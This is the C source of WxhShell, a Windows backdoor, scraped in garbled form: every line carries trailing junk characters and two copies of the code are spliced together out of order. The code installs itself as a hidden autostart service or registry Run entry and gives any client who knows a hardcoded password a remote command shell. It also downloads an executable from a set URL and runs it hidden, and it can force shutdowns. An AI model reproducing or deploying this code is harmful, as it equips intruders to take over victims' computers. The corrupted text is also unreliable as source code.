    closesocket(wsh); fAA@ziKg  
    ExitThread(0); WTy8N  
    } e[VJ0 A=  
    break; nH3b<k;S  
    } N4GIb 6  
  // 关机 3Jk?)D y  
  case 'd': { :N'[d e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h}VYA\+<B  
    if(Boot(SHUTDOWN)) jJ{ w -$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iTBhLg,  
    else { ^Ihdq89t  
    closesocket(wsh); JcALFKLB  
    ExitThread(0); URzE+8m^  
    } fN? Lz%z3  
    break; v.8S V]  
    } .qU%SmQ^  
  // 获取shell Pt)}HF|u  
  case 's': { kHIQ/\3?Q  
    CmdShell(wsh); [ QL<&:s&  
    closesocket(wsh); cE8 _keR~  
    ExitThread(0); HI`A;G]  
    break; d-S'y-V?d  
  } sB1tce  
  // 退出 PFn[[~5V  
  case 'x': { :R?| 2l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @BQB NGR1  
    CloseIt(wsh); JMe[ .S x  
    break; fm2Mi~}0  
    } 4sD:J-c  
  // 离开 +M%2m3.Jo  
  case 'q': { !v;_@iW3e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +H^V},dBp!  
    closesocket(wsh); qFsg&<  
    WSACleanup(); o4 OEA)k)=  
    exit(1); kviSQM2  
    break; x[uXD  
        } kk7: A0._  
  } ~X(xa  
  } w!9WCl]9M  
k^%ec3l  
  // 提示信息  ,8 NEnB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l$~bkVNL  
} 7 |eSvC  
  } +Q#Qu0_   
r#w_=h)  
  return; -v+^x`HR  
} xwp?2,<  
WatLAn+  
// shell模块句柄 5 nIlG  
int CmdShell(SOCKET sock) qO3BQ]UF  
{ ^E?V+3mV  
STARTUPINFO si; "9T`3cM0  
ZeroMemory(&si,sizeof(si)); U4I` xw'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Oqe.t;E 0}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >u#VHaB  
PROCESS_INFORMATION ProcessInfo; r%mTOLef  
char cmdline[]="cmd"; \B ^sJ[n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]mT} \b  
  return 0; eu|q {p  
} Lj1 @yokB  
EuA<{%i  
// 自身启动模式 c89vx 9  
int StartFromService(void) L;t~rW!1  
{ [cAg'R6  
typedef struct k_^/   
{ _5`S)G{  
  DWORD ExitStatus; ,ST.pu8N.  
  DWORD PebBaseAddress; M@@O50~  
  DWORD AffinityMask; oi4Wxcj  
  DWORD BasePriority; _Vf|F  
  ULONG UniqueProcessId; 'm? x2$u8  
  ULONG InheritedFromUniqueProcessId; fhWD>;%F%  
}   PROCESS_BASIC_INFORMATION; Yf`.Cq_:  
D ;I;,Z  
PROCNTQSIP NtQueryInformationProcess; __%E!*m"<_  
\k-juF80  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5VoiDM=\c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; % x;!s=U  
G")EE#W$}  
  HANDLE             hProcess; y%l#lz=6  
  PROCESS_BASIC_INFORMATION pbi; nv Gd:]Z  
yzl\{I&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n k3lC/f  
  if(NULL == hInst ) return 0; ",_  
%Z0S"B 3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "(VcYQ+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =}lA|S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;7*@Gf}R  
M:f=JuAx  
  if (!NtQueryInformationProcess) return 0; [mvHa;-w  
3+uoK f[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XB 7^Ka  
  if(!hProcess) return 0; uL AXN  
" CoR?[,x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *lF%8k"Al  
3(p6ak2lv  
  CloseHandle(hProcess); Q8:ocEhR  
o_m.MMEU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g$LwXfg  
if(hProcess==NULL) return 0; &JM;jS z  
L4Y3\4xXO  
HMODULE hMod; dV  
char procName[255]; hkI);M+@6  
unsigned long cbNeeded; QLg9aG|  
Xe+FMbBco  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >iJuR.:OO  
i_ TdI  
  CloseHandle(hProcess); BQg]$Tr?  
gP%!  
if(strstr(procName,"services")) return 1; // 以服务启动 @!O{>`  
Z"T(8>c;g  
  return 0; // 注册表启动 | :[vpJFK  
} P?7b,a95O  
>AFpO*q"  
// 主模块 f`rz)C03  
int StartWxhshell(LPSTR lpCmdLine) U# B  
{ R/|{?:r?:x  
  SOCKET wsl; AE _~DZ:%c  
BOOL val=TRUE; dig76D_[e  
  int port=0;  p ivS8C  
  struct sockaddr_in door; Jz'+@q6h  
K 5[ 3WHQ  
  if(wscfg.ws_autoins) Install(); bOKNWI   
giJyMd}x  
port=atoi(lpCmdLine); RVx<2,['  
k<qH<<r*  
if(port<=0) port=wscfg.ws_port; .CpO+z  
zSCPp6  
  WSADATA data; "PtH F`mo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *^_!W'T{j  
\M@8# k|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h_!"CF <n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DL_\luh  
  door.sin_family = AF_INET; #Qd3A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2jC\yY |PN  
  door.sin_port = htons(port); WE]^w3n9  
oFp&j@`k8j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sAlgp2-  
closesocket(wsl); ztpb/9J9  
return 1; k]g\` gc  
} {jG`l$$  
i[#Tn52D  
  if(listen(wsl,2) == INVALID_SOCKET) { UkV] F]  
closesocket(wsl); jp`N%O]6  
return 1; Pme?`YO$x  
} q(W@=-uDK  
  Wxhshell(wsl); +Z*%,m=N(  
  WSACleanup(); I),8EEf\  
4[q * 7m  
return 0; JK`P mp>  
5yID%  
} {{,%p#/b  
A[bxxQSP\H  
// 以NT服务方式启动 %-CC_R|0$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dz 2d`=`3  
{ FoQk  
DWORD   status = 0; lR!$+atW  
  DWORD   specificError = 0xfffffff; *Rd&4XG  
,L G&sa"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wQc  w#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y[rLk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9A!qg<  
  serviceStatus.dwWin32ExitCode     = 0; 3>6o=7/PU  
  serviceStatus.dwServiceSpecificExitCode = 0; 'CX KphlWs  
  serviceStatus.dwCheckPoint       = 0; Le!I-i( aD  
  serviceStatus.dwWaitHint       = 0; < r~Tj  
ehq6.+l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }o4Cd$,8  
  if (hServiceStatusHandle==0) return; M<Mr (z  
}d(6N&;"zN  
status = GetLastError(); u@B"*V~K  
  if (status!=NO_ERROR) n21J7;\/+  
{ lTXU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #UQ[8e  
    serviceStatus.dwCheckPoint       = 0; sh1()vT  
    serviceStatus.dwWaitHint       = 0; U|nk8 6r  
    serviceStatus.dwWin32ExitCode     = status; i}19$x.D`  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2}twt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); icmDPq  
    return; |sh  U  
  } 3[rB:cE/  
[6|vx},N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NL 37Y{b  
  serviceStatus.dwCheckPoint       = 0; `upNP/,  
  serviceStatus.dwWaitHint       = 0; k s}o9[D3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 51vK>  
} &bRH(yF  
KJiwM(o  
// 处理NT服务事件,比如:启动、停止 YaU A}0cW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6_Kz}PQ  
{ q}jf&xUWzH  
switch(fdwControl) $((<le5-)  
{ ZE^de(Fm  
case SERVICE_CONTROL_STOP: p98lu'?@  
  serviceStatus.dwWin32ExitCode = 0; & \m\QI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UL/>t}AG  
  serviceStatus.dwCheckPoint   = 0; P7b2I=t  
  serviceStatus.dwWaitHint     = 0; ,o)MiR9-[A  
  { ,n*.Yq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LsXYvX  
  } >@"j9  
  return; !NCT) #G`  
case SERVICE_CONTROL_PAUSE: <_![~n$H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]^y}}y  
  break; &BgaFx**  
case SERVICE_CONTROL_CONTINUE: ZeO>Ag^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dfea<5~^z  
  break; `4CRpz  
case SERVICE_CONTROL_INTERROGATE: <T wq{kt  
  break; s@$AYZm_  
}; >BX_Bou  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1 .M?Hp9i  
} j*5VJ:  
e([&Nr8h  
// 标准应用程序主函数 \ *2IU"R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pGIeW}2'9  
{ zin ,yJ  
61'7b`:(hi  
// 获取操作系统版本 ?,j:Y0l.L  
OsIsNt=GetOsVer(); B:4u 2/!5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AOe~VW  
f As:[  
  // 从命令行安装 ^{w&&+#,q  
  if(strpbrk(lpCmdLine,"iI")) Install(); MPt7 /  
vzw\f   
  // 下载执行文件 sR6 (8  
if(wscfg.ws_downexe) { J: LSGj;R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i"'k|TGW^  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^6*? a9jO>  
} CqoL5qt  
J.<m@\U  
if(!OsIsNt) { j- A|\:   
// 如果时win9x,隐藏进程并且设置为注册表启动 DB0xIP~i,?  
HideProc(); /a q%l]hQ@  
StartWxhshell(lpCmdLine); vZ08/!n  
} 4Z_.Jdu w  
else B;m18LDu  
  if(StartFromService()) a5'QL(IX  
  // 以服务方式启动 #xc[)Y,W  
  StartServiceCtrlDispatcher(DispatchTable); yhIg)/?L  
else bYtF#Y   
  // 普通方式启动 MiC&av  
  StartWxhshell(lpCmdLine); L4NC -  
a-3~HH  
return 0; '/j`j>'!^  
} G > ,rf ]N  
3t,SXI @  
R:e:B7O~0  
oI>;O#  
=========================================== 0XYxMN)  
Cdv TC`~,  
|"mb 59X  
RwwKPE  
T.pPQH__  
' 9,}N:p  
" @.})nU  
M;(lc?Rv  
#include <stdio.h> oqj3Q 1  
#include <string.h> b &JPLUr  
#include <windows.h> gFKQm(0g2  
#include <winsock2.h> VYF4q9  
#include <winsvc.h> \R<yja  
#include <urlmon.h> j.z#fU  
/90@ 85%r  
#pragma comment (lib, "Ws2_32.lib")  &]euN~y  
#pragma comment (lib, "urlmon.lib") WV8<gx`Q  
@ +7'0[y?  
#define MAX_USER   100 // 最大客户端连接数 |!}$V  
#define BUF_SOCK   200 // sock buffer 78X;ZMY  
#define KEY_BUFF   255 // 输入 buffer &EQov9P7  
B4.hJZ5  
#define REBOOT     0   // 重启 d1,azM  
#define SHUTDOWN   1   // 关机 E`i;9e'S  
"-hgeQX  
#define DEF_PORT   5000 // 监听端口 tly:$;K  
PH]q#/'  
#define REG_LEN     16   // 注册表键长度 b#P8Je`;9  
#define SVC_LEN     80   // NT服务名长度 `mMD e  
/`1zkBj<&  
// 从dll定义API 3{%/1>+x5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zYep V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `S!`=26Z!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +Kk6|+5u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  oCduY2  
34oC285yc  
// wxhshell配置信息 oreS u;`$  
struct WSCFG { cZwQ{9>  
  int ws_port;         // 监听端口 g~cWBr%>  
  char ws_passstr[REG_LEN]; // 口令 %|;^[^7+}t  
  int ws_autoins;       // 安装标记, 1=yes 0=no WaH TzIa[  
  char ws_regname[REG_LEN]; // 注册表键名 |m=@;B|  
  char ws_svcname[REG_LEN]; // 服务名 6G( k{S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  "u%$`*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7 724,+2N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |BXq8Erh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0{j>u`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZQyT$l~b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R ~cc]kp0  
3*FktXmI}  
}; 1D*e u  
)ow3Bl8w  
// default Wxhshell configuration P$!Ht  
struct WSCFG wscfg={DEF_PORT, )N}xKw|  
    "xuhuanlingzhe", PKwx)! Rz  
    1, Kkd7D_bZ*  
    "Wxhshell", ]-R8W/fDn  
    "Wxhshell", .D7\Hao  
            "WxhShell Service", I($u L@$  
    "Wrsky Windows CmdShell Service", lFB Ka ,6  
    "Please Input Your Password: ", Qc3 !FW<26  
  1, 0 xPML}|V  
  "http://www.wrsky.com/wxhshell.exe", Db2G)63  
  "Wxhshell.exe" =^{^KHzIl3  
    }; _z}d yp"I  
^lQej%  
// 消息定义模块 ^ML2xh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0^.q5#A2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g]3-:&F{c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :cOwTW?Fj  
char *msg_ws_ext="\n\rExit."; H(0d(c1s  
char *msg_ws_end="\n\rQuit."; AD8~  
char *msg_ws_boot="\n\rReboot..."; sT/pA^rnnR  
char *msg_ws_poff="\n\rShutdown..."; TzIgEn~  
char *msg_ws_down="\n\rSave to "; $mpfr#!&3o  
Jb0]!*tV  
char *msg_ws_err="\n\rErr!"; 02SUyv(Mt  
char *msg_ws_ok="\n\rOK!"; ]qXfg c  
@]cpPW-b  
char ExeFile[MAX_PATH]; wngxVhu8Ld  
int nUser = 0; / {A]('t  
HANDLE handles[MAX_USER]; BkIvoW_  
int OsIsNt; "U yw7  
p<jHUG4?'  
SERVICE_STATUS       serviceStatus; :}E*u^v K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QJ$]~)w?H  
_/KW5  
// 函数声明 vK6bpzI 3  
int Install(void); OnG!5b  
int Uninstall(void); ag] nVE/  
int DownloadFile(char *sURL, SOCKET wsh);  R z[-  
int Boot(int flag); 6R?J.&|  
void HideProc(void); zis-}K<   
int GetOsVer(void); !Dz:6r  
int Wxhshell(SOCKET wsl); ;aD_^XY  
void TalkWithClient(void *cs); 0m?ul%=  
int CmdShell(SOCKET sock); & ??)gMM[  
int StartFromService(void); YpuA,r;"  
int StartWxhshell(LPSTR lpCmdLine); 1pcSfN:"1  
Muarryh}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $i =-A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &jj\-;=~Ho  
S;CT:kG6Y{  
// 数据结构和表定义 ,,@_r&f:  
SERVICE_TABLE_ENTRY DispatchTable[] = !FO92 P16  
{ hI?<F^b  
{wscfg.ws_svcname, NTServiceMain}, O *jNeYA  
{NULL, NULL} p4t(xm2T  
}; | WDX@Q  
#8[,w.X  
// 自我安装 ^%\p; yhL  
int Install(void) RI%* 5lM8;  
{ P~?u2,.E[  
  char svExeFile[MAX_PATH]; #ReW#?P%b/  
  HKEY key; =r GkM.^  
  strcpy(svExeFile,ExeFile); YXBS!89m  
$-o39A#  
// 如果是win9x系统,修改注册表设为自启动 G"J6X e  
if(!OsIsNt) { I2zSoQ1P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jq.26I=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #{N#yReh  
  RegCloseKey(key); J,IOp-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gg6&Fzp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qy15TJ  
  RegCloseKey(key); q/]tJ{FI  
  return 0; V @8X .R>  
    } n)pBK>+  
  } \f._I+gJ  
} Wmp\J3  
else { J_`.w  
!lHsJ)t  
// 如果是NT以上系统,安装为系统服务 OxqP:kM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W}(dhgf  
if (schSCManager!=0) `UeF3~)>E  
{ O" T1=4  
  SC_HANDLE schService = CreateService _I@dt6oF  
  ( +LrW#K;  
  schSCManager, B[y1RI|9  
  wscfg.ws_svcname, '"I"D9;9  
  wscfg.ws_svcdisp, O1/!)E!  
  SERVICE_ALL_ACCESS, 4u:{PN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SqEO ] ~  
  SERVICE_AUTO_START, QAu^]1;  
  SERVICE_ERROR_NORMAL, k"AY7vq@!P  
  svExeFile, HLk/C[`u,  
  NULL, O  89BN6p  
  NULL, dU+1@_  
  NULL, {9P<G]Z  
  NULL, bXtA4O  
  NULL K)^.96{/@  
  ); j8N8|\n-  
  if (schService!=0) fDqlN`P@  
  { 7O"T `>  
  CloseServiceHandle(schService); qo'pU/@  
  CloseServiceHandle(schSCManager); 0k3^+#J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +y-:(aP  
  strcat(svExeFile,wscfg.ws_svcname); kV-a'"W5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R$PiF1ffj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =. OW sFv  
  RegCloseKey(key); SR8[ 7MU  
  return 0; qf ]ax!bK  
    } t-/%|@?D  
  } RCoz;|c`P  
  CloseServiceHandle(schSCManager); viKN:n! Ev  
} Kz'W |  
} ujDAs%6MZ  
*mBn''a"*  
return 1; ]%NCKOM  
} ]>x674H  
1q/z&@+B  
// 自我卸载 JlG yGr^MD  
int Uninstall(void) egKYlfe"  
{ 7rsrC  
  HKEY key; "%0RR?  
{>5c,L$  
if(!OsIsNt) { KA.@q AEB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y*_g1q$  
  RegDeleteValue(key,wscfg.ws_regname); X~W5Z(w(O  
  RegCloseKey(key); g2F~0%HY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XjL( V1  
  RegDeleteValue(key,wscfg.ws_regname); #bf^Pq'8  
  RegCloseKey(key); =(v/pLLK?  
  return 0; -Xx,"[sN\w  
  } sd>#Hn  
} {*tewF)|  
} RU[{!E  
else { I7]45pF  
@-Gf+*GZys  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a#KxjVM  
if (schSCManager!=0) nj)M$'  
{ k98--kc5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +]UPY5:F  
  if (schService!=0) gNe{P~ $=  
  { !L>'g  
  if(DeleteService(schService)!=0) { v82@']IN  
  CloseServiceHandle(schService); |nMbf  
  CloseServiceHandle(schSCManager); j^:\a\-1  
  return 0; 3",6 E(  
  } ISOPKZ#F  
  CloseServiceHandle(schService); %K?~$;Z.  
  } u;y1leG  
  CloseServiceHandle(schSCManager); 9KCnitU  
} <w08p*?  
} At.WBa3j%{  
CYG'WFvZZ  
return 1; >e8 t  
} @bS>XWI>  
~H?RHYP~  
// 从指定url下载文件 Cc9<ABv?  
int DownloadFile(char *sURL, SOCKET wsh) Bg;bBA!L  
{ b>;5#OQfn  
  HRESULT hr; l--xq^,`o]  
char seps[]= "/"; Z<xSU?J  
char *token; .viA+V  
char *file; $eI[3{}X  
char myURL[MAX_PATH]; FVL0K(V(  
char myFILE[MAX_PATH]; |0mh*+i  
{}vW=  
strcpy(myURL,sURL); iZ)7%R?5  
  token=strtok(myURL,seps); + ^4"  
  while(token!=NULL) 4W$53LP8  
  { |yw-H2k1  
    file=token; l,pq;>c9a  
  token=strtok(NULL,seps); u V=rLDY  
  } D[yaAG<  
W9.Z hpM  
GetCurrentDirectory(MAX_PATH,myFILE); Bqa%L.N2SS  
strcat(myFILE, "\\"); :|P"`j  
strcat(myFILE, file); -O. MfI+  
  send(wsh,myFILE,strlen(myFILE),0); pHKj*Y  
send(wsh,"...",3,0); )Z"7^ i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k' pu%nWN  
  if(hr==S_OK) (#7pGGp*E  
return 0; w QwY_ _  
else N4'b]:`n  
return 1; vy6NH5Q  
hF!yp7l;  
} p8o%H-Xk  
}?8KFe7U  
// 系统电源模块 R3%T}^;f  
int Boot(int flag) $ 'HiNP {c  
{ {h|3P/?7  
  HANDLE hToken; 5+giT5K*h  
  TOKEN_PRIVILEGES tkp; QMHeU>  
 m ,qU})  
  if(OsIsNt) { C6Dq7~{B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c[J#Hc8;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  Zna }h{  
    tkp.PrivilegeCount = 1; v" y e\ZG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tWL9>7]G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U#@:"v|  
if(flag==REBOOT) { Q y$8!(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) > aN@)=h}  
  return 0; Pbd#Fu;  
} i8u9~F   
else { ApjLY58=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X!nI{PE  
  return 0; [Zi\L>PHO  
} vqv(KsD+::  
  } >PL/>   
  else { `hI1  
if(flag==REBOOT) { g oWD~'\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g`3g#h$  
  return 0; p;X[_h  
} <N+l"Re#]  
else { OjyS ?YY)b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GsE?<3  
  return 0; F_\\n#bv  
} tgc&DT; E  
} 7q$9\RR5  
W>;AMun  
return 1; nolTvqMT  
} 3J%jD  
/O/u5P{J  
// win9x进程隐藏模块 z}OY'}sk8  
void HideProc(void) ?W%3>A  
{ Wb/@~!+i`  
rx|/]NE;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JnV$)EYi  
  if ( hKernel != NULL ) ",Ek| z  
  {  //K]zu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !Z<Z"R/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w[:5uo(  
    FreeLibrary(hKernel); ra$_#HY  
  } tJ2l_M^  
69O?sIk  
return; 2zArAch  
} o NJ/AT  
\`|,wLgH  
// 获取操作系统版本 &hjrJ/'^  
int GetOsVer(void) klv^310  
{ Ya304Pjd  
  OSVERSIONINFO winfo; e[>(L%QV+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3)__b:7J  
  GetVersionEx(&winfo); QBai;p{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .:l78>f  
  return 1; .Uha%~%  
  else u&2uQ-T0  
  return 0; [C P V5\2  
} =xai 7iM  
U>ob)-tl  
// 客户端句柄模块 \muyL?  
int Wxhshell(SOCKET wsl) B~LB^ n(>@  
{ ;( VJZ_  
  SOCKET wsh; M /Bn^A8@  
  struct sockaddr_in client; pd>EUdbrp&  
  DWORD myID; BU]9eF!>h  
?HZ+fS ,-  
  while(nUser<MAX_USER) ~A>3k2 N/e  
{ >:KPvq!0  
  int nSize=sizeof(client); SYa!IL-B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2R:['QT  
  if(wsh==INVALID_SOCKET) return 1; _EjS(.e/=  
/`:5#O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O:p~L`o>>  
if(handles[nUser]==0) AkT_ZU>  
  closesocket(wsh); m' z<d  
else +%'0;  
  nUser++; g&riio7lx  
  } T~`m'4"+c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *Fp )/Ih  
tGv4 S\  
  return 0; ,i,f1XJ|  
} /of,4aaK7  
X(g<rz1J]  
// 关闭 socket  _U#ue  
void CloseIt(SOCKET wsh) ?6tuo:gP  
{ T"dWrtO  
closesocket(wsh); )]X_')K  
nUser--; }w"laZ*  
ExitThread(0); Ms^,]Q1{  
} {jggiMwo.v  
/$+ifiFT  
// 客户端请求句柄 8~}Ti*Urc  
void TalkWithClient(void *cs) j Dy  
{ zF\k*B  
wzP>Cq  
  SOCKET wsh=(SOCKET)cs; SijC E~P  
  char pwd[SVC_LEN]; :mY(d6#A>  
  char cmd[KEY_BUFF]; o)Ob}j  
char chr[1]; `Z/"Dd;F^3  
int i,j; 1mf|:2,  
)CihqsA2  
  while (nUser < MAX_USER) { [A[vR7&S  
a2o+ tR;H  
if(wscfg.ws_passstr) { `6Y'H2WJ?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "m/0>UU0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9dSKlB5J  
  //ZeroMemory(pwd,KEY_BUFF); =(.HO:#  
      i=0; 2l8jw:=H  
  while(i<SVC_LEN) { M)Ogb '@#  
0&c12W|B<L  
  // 设置超时 YadyRUE  
  fd_set FdRead; {@B<$g   
  struct timeval TimeOut; /v=MGX@r  
  FD_ZERO(&FdRead); A!goR-J]  
  FD_SET(wsh,&FdRead); `')3}  
  TimeOut.tv_sec=8; 5I t+ S+a  
  TimeOut.tv_usec=0; /':kJOk<[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H.!M_aJH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UT]LF#.(  
#Z (B4YO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LI"ghz=F  
  pwd=chr[0]; & 7JCPw  
  if(chr[0]==0xd || chr[0]==0xa) { ze!7qeW  
  pwd=0; ;]vE"Mx$  
  break; 5BTQJa  
  } 4 K)P Yk  
  i++; zcP_-q]1  
    } lE$X9yIt  
60^dzi!vs  
  // 如果是非法用户,关闭 socket F7cv`i?2."  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QTtcGU  
} ewY+a , t  
U6n%rdXJ=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vSPkm)O0)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); umSbxEZU@  
co@Q   
while(1) { <_ddGg~  
@<AyCaU`.  
  ZeroMemory(cmd,KEY_BUFF); *,@dt+H!y  
] 6M- s  
      // 自动支持客户端 telnet标准   F|%[s|s  
  j=0; fZT=q^26  
  while(j<KEY_BUFF) { ^Shz[=fd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ 5|F:J  
  cmd[j]=chr[0]; ` *h-j/M  
  if(chr[0]==0xa || chr[0]==0xd) { rjx6Ad/\  
  cmd[j]=0; 1i#M(u_  
  break; /< h~d  
  } |HhUU1!  
  j++; h6 8sQd  
    } U]d{hY."  
G W|~sE +  
  // 下载文件 NFU 5+X-c  
  if(strstr(cmd,"http://")) { LIirOf~e;!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qmv%N  
  if(DownloadFile(cmd,wsh)) Da)9s %_4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &37QUdp+p  
  else cZ%weQa#N)  
